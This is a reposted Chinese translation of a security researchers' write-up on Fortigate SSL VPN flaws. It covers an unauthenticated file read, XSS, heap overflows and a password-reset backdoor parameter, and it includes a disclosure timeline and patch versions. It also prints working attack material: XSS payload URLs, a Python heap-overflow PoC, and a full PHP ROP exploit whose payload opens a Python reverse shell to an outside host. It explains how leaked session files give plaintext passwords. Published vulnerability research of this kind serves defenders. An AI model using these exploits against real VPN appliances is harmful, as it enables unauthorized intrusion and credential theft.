攻击SSL VPN - 第2部分:打破Fortigate SSL VPN

2019-08-16 约 558 字 预计阅读 3 分钟

声明:本文 【攻击SSL VPN - 第2部分:打破Fortigate SSL VPN】 由作者 aliyuuu 于 2019-08-16 09:31:00 首发 先知社区 曾经 浏览数 28 次

感谢 aliyuuu 的辛苦付出!

攻击SSL VPN - 第2部分:打破Fortigate SSL VPN

本文是翻译文章,原作者Meh Chang和Orange
原文地址:https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

前言

作者:Meh Chang@mehqq_)和Orange Tsai@ orange_8361
上个月,我们谈到了Palo Alto Networks GlobalProtect RCE作为开胃菜。今天,这里有主菜!如果你不能去Black Hat或DEFCON参加我们的演讲,或者你对更多细节感兴趣,这里有适合你的幻灯片!

我们也将在以下会议上发表演讲,来找我们吧!

  • HITCON- 8月23日@台北(中国)
  • HITB GSEC - 8月29日30日@新加坡
  • RomHack - 9月28日@罗马
  • ​ 更多 …

开始吧!

故事始于去年8月,当时我们开始了一个关于SSL VPN的新研究项目。与点到点VPN(如IPSEC和PPTP)相比,SSL VPN更易于使用,并且可与任何网络环境兼容。因其便捷性,SSL VPN成为企业最流行的远程访问方式!

但是,如果这个可靠的设备不安全怎么办?SSL VPN是一项重要的企业资产,但却是公司的盲点。根据我们对世界500强的调查,前三大SSL VPN厂商占据了约75%的市场份额。因此SSL VPN的多样性很窄,一旦我们在主流的SSL VPN上发现高危漏洞,其影响就会很大。由于SSL VPN必须暴露在互联网环境中,因而没有什么能阻止我们的攻击。
在我们的研究开始时,我们对主流的SSL VPN供应商的CVE数量进行了一些调查:

看起来Fortinet和Pulse Secure是最安全的。真的吗?作为一个神话破坏者,我们接受了这一挑战并开始攻击Fortinet和Pulse Secure!这个故事是关于攻击Fortigate SSL VPN的。下一篇文章将是关于Pulse Secure的,那将是最精彩的!敬请关注!

Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在终端用户和中型企业中很常见。互联网上有超过480,000台服务器,亚洲和欧洲尤为常见。我们可以通过URL识别它/remote/login。这是Fortigate的技术特征:

  • 一体化二进制文件

    我们从文件系统开始研究。我们试图列出/bin/目录下的二进制文件,发现它们全都是指向/bin/init的符号链接。就像这样:

    Fortigate将所有程序和配置编译成单个二进制文件,这使得init文件相当大。init文件包含数千个功能并且没有符号!它只包含SSL VPN的必要程序,这样的环境对黑客而言非常不方便。例如,里面甚至没有/bin/ls/bin/cat

  • Web守护程序

    Fortigate上运行了2个Web界面。一个用于管理界面,在443端口上,由/bin/httpsd程序处理。另一个是普通用户界面,默认在4433端口上,由/bin/sslvpnd程序处理。通常,管理页面限制从互联网上访问,因此我们只能访问用户界面。

通过我们的调查,我们发现Web服务器是根据2002年的apache修改而来的。显然,他们在2002年修改了apache并添加了自己的附加功能。我们可以对照apache的源代码以加速我们的分析。

在这两个Web服务中,他们还将自己的apache模块编译成二进制文件来处理每个URL路径。我们可以找到一个路由表并深入研究它们!

  • WebVPN

    WebVPN是一个方便的代理,它允许我们通过浏览器连接到所有服务。它支持许多协议,如HTTP,FTP,RDP。它还可以处理各种Web资源,例如WebSocket和Flash。为正确处理网站,它会解析HTML并为我们重写所有的URLs。这涉及繁重的字符串操作,且容易产生内存错误。

漏洞详情

我们发现了几个漏洞:

CVE-2018-13379:无需认证任意文件读取

在获取相应的语言文件时,它使用lang参数构建json文件路径:

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

这里没有保护,但会自动附加文件扩展名。看起来我们只能读取json文件。但实际上我们可以滥用snprintf这个功能。根据手册,它最多将size-1写入到输出字符串。因此,我们只需要使其超过缓冲区大小,.json并将会被挤掉。然后我们就可以读任意文件。

CVE-2018-13380:无需认证XSS

以下是几个XSS点:

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
/message?title=x&msg=%26%23<svg/onload=alert(1)>;

CVE-2018-13381:无需认证堆溢出

在编码HTML实体代码时,有两个阶段。服务器首先计算编码字符串所需的缓冲区长度,然后将其编码到缓冲区。在计算阶段,例如,<字符编码为 &#60;,占用5个字节。如果遇到任何以&#开头的字符,例如&#60;,服务器会认为这个token已经被编码了,并直接计算其长度。像这样:

c = token[idx];
if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
    cnt += 5;
else if(c == '&' && html[idx+1] == '#')
    cnt += len(strchr(html[idx], ';')-idx);

然而,长度计算和编码过程之间将存在不一致,编码部分无法处理这种情况。

switch (c)
{
    case '<':
        memcpy(buf[counter], "&#60;", 5);
        counter += 4;
        break;
    case '>':
    // ...
    default:
        buf[counter] = c;
        break;
    counter++;
}

如果我们输入恶意字符串如&#<<<;<仍将编码成&#60;,所以编码结果应该是&#&#60;&#60;&#60;;!这比预期的6个字节长得多,从而导致堆溢出。
PoC:

import requests

data = {
    'title': 'x', 
    'msg': '&#' + '<'*(0x20000) + ';<', 
}
r = requests.post('https://sslvpn:4433/message', data=data)

CVE-2018-13382:magic后门

在登录页面中,我们找到了一个的特殊参数magic。一旦这个参数为某个特殊字符串,我们就可以修改任何用户的密码。

根据我们的调查,仍有大量的Fortigate SSL VPN缺少补丁。因此,考虑到其严重性,我们不会透露magic字符串。但是,CodeWhite的研究人员已经复现了这个漏洞。毫无疑问,其他攻击者很快就会利用此漏洞!请尽快更新您的Fortigate!

Critical vulns in #FortiOS reversed & exploited by our colleagues @niph_ and @ramoliks - patch your #FortiOS asap and see the #bh2019 talk of @orange_8361 and @mehqq_ for details (tnx guys for the teaser that got us started) pic.twitter.com/TLLEbXKnJ4

— Code White GmbH (@codewhitesec) 2019年7月2日

CVE-2018-13383:认证后堆溢出

这是WebVPN功能的漏洞。在解析HTML中的JavaScript时,它会尝试使用以下代码将内容复制到缓冲区中:

memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为0x2000,但输入字符串是无限制的。因此,这里存在堆溢出。值得注意的是,此漏洞可以溢出Null字节,这在我们的利用中很有用。
为触发此溢出,我们需要将exploit放到HTTP服务器上,然后以普通用户权限登录SSL VPN代理访问我们的exploit为普通用户。

Exploitation

官方最初描述这没有RCE危害。实际上,这是一个误解。我们将向您展示如何在没有身份验证的情况下攻击用户登录界面。

CVE-2018-13381

我们的首先尝试利用pre-auth堆溢出漏洞。但是,此漏洞存在一个根本缺陷 - 它不能溢出Null字节。一般来说,这不是一个严重的问题。如今的堆利用技术应该能够克服这个问题。然而,我们在Fortigate上做堆风水简直是一场灾难。有以下几个障碍,使得堆不稳定,难以控制。

  • 单线程,单进程,单个分配器

    Web守护进程利用epoll()处理多个连接,没有多进程或多线程,主进程和库使用相同的堆,称为JeMalloc。这意味着,来自所有连接的所有操作的所有内存分配都在同一堆上。因此,这个堆一团乱。

  • 定期触发操作

    这会干扰堆,并且无法控制。我们无法精确地布置堆,因为它会被销毁。

  • Apache额外的内存管理

    直到连接结束内存才会被free()。我们无法在一个连接中布置堆。实际上,这可以有效地缓解堆漏洞,尤其是对于use-after-free漏洞。

  • JeMalloc

    JeMalloc隔离了元数据和用户数据,因此很难修改元数据进行堆管理。此外,它集中了小对象,这也限制了我们的利用。

我们被困在了这里,因此我们选择尝试另一种方式。如果有人成功利用了这一点,恳请教我们!

CVE-2018-13379 + CVE-2018-13383

这是pre-auth文件读取和post-auth堆溢出的组合漏洞。一个用于获取身份验证,一个用于获取shell。

  • 获得身份验证

    我们首先使用CVE-2018-13379来泄漏session文件。session文件包含一些有价值的信息,例如用户名和明文密码,这可以让我们轻松登录。

  • 获取shell

    登录后,我们通过SSL VPN代理访问我们恶意HTTP服务器上的exploit,然后触发堆溢出。

由于上面提到的问题,我们需要一个理想的目标来溢出。我们无法精确的控制堆,但我们可以找到一些经常出现的东西!它最好是很常见的,每次我们触发这个bug,我们都可以轻松地溢出它!然而,从这个庞大的程序中找到这样一个目标是一项艰苦的工作,所以我们陷入困境......之后我们开始fuzz这个服务,试图获得一些有用的东西。

我们遇到了一个有趣的崩溃点。令我们惊讶的是,我们几乎控制了程序计数器!

这是崩溃点,这就是我们为什么喜欢模糊测试!;)

Program received signal SIGSEGV, Segmentation fault.
  0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
  2: /x $rax = 0x41414141
  1: x/i $pc
  => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
  (gdb)

崩溃点发生在SSL_do_handshake()

int SSL_do_handshake(SSL *s)
    {
        // ...

        s->method->ssl_renegotiate_check(s, 0);

        if (SSL_in_init(s) || SSL_in_before(s)) {
            if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
                struct ssl_async_args args;

                args.s = s;

                ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
            } else {
                ret = s->handshake_func(s);
            }
        }
        return ret;
    }

我们覆盖了struct SSL函数表,所以当程序运行到s->method->ssl_renegotiate_check(s, 0);,它就崩溃了。

这实际上是我们理想的利用目标!我们可以很容易的触发struct SSL分配,并且大小接近我们的JaveScript缓冲区,因此在我们的缓冲区附近有一个常规偏移量!根据代码,我们可以看到ret = s->handshake_func(s);调用一个函数指针,这是控制程序流的完美选择。根据这一发现,我们的利用方法就很清晰了。

首先我们正常请求大量的SSL结构来进行堆喷射,然后再溢出SSL结构。

这里我们将php PoC放在HTTP服务器上:

<?php
      function p64($address) {
          $low = $address & 0xffffffff;
          $high = $address >> 32 & 0xffffffff;
          return pack("II", $low, $high);
      }
      $junk = 0x4141414141414141;
      $nop_func = 0x32FC078;

      $gadget  = p64($junk);
      $gadget .= p64($nop_func - 0x60);
      $gadget .= p64($junk);
      $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
      $gadget .= p64($junk);
      $gadget .= p64($junk);
      $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
      $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
      $gadget .= p64(0x58);
      $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
      $gadget .= p64(0x1366639); // call system ;
      $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";

      $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
      $p .= $gadget;
      $p .= str_repeat('A', 0x1000 - strlen($gadget));
      $p .= $gadget;
  ?>
  <a href="javascript:void(0);<?=$p;?>">xxx</a>

这个PoC分为三个部分。
1.伪造的SSL结构
SSL结构在我们的缓冲区有一个常规的偏移量,因此我们可以精确地伪造它。为了避免崩溃,我们设置method为包含void函数指针的位置。此时的参数是SSL结构本身s。但是,method前面只有8个字节长度。我们不能简单地在HTTP服务器中调用system("/bin/sh");,这里没有足够的空间来写反弹shell指令。由于这二进制文件非常巨大,很容易找到ROP gadgets。我们找到一个有用栈迁移gadget:

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

所以我们设置handshake_func为这个gadget,将rsp移动到我们的SSL结构,然后做进一步ROP攻击。
2.ROP链
这里的ROP链很简单。我们略微向前移动rdi,将有足够的空间执行反弹shell命令。
3.溢出字符串
最后,我们拼接溢出填充和exploit。一旦我们溢出SSL结构,我们就会得到一个shell。

我们的漏洞需要多次尝试,因为我们可能会溢出一些重要的东西并使程序在SSL_do_handshake之前崩溃。无论如何,由于Fortigate看门狗的存在,该漏洞仍然可以稳定利用。只需1~2分钟即可获得反弹shell。

时间线

  • 2018年12月11日向Fortinet报告
  • 2019年3月19日修复所有漏洞
  • 2019年5月24日发布所有资讯

修复

升级到FortiOS 5.4.11,5.6.9,6.0.5,6.2.0或以上版本。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now